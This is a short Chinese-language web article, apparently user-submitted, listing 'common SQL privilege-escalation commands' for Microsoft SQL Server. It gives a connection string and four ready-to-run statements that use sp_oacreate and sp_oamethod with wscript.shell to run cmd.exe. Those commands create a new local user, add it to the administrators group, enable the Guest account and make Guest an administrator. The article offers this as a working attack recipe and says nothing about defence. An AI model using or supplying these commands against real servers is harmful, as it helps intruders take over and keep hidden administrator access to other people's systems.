SQL提权常用命令有哪些

网友投稿 506 2023-12-03 18:53:39

SQL提权常用命令有哪些

这篇文章主要为大家展示了“SQL提权常用命令有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL提权常用命令有哪些”这篇文章吧。

1、连接数据库 

driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 

2、添加新用户 

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:\windows\system32\cmd.exe /c net user 新用户 密码 /add

3、把用户加到管理组 

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add

4、激活GUEST用户 

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:\windows\system32\cmd.exe /c net user guest /active:yes

5、把Guest加到管理组 

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add

以上是“SQL提权常用命令有哪些”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:如何使用SQL Server代理运行CmdExec命令
下一篇:mysql命令行常用命令有哪些
相关文章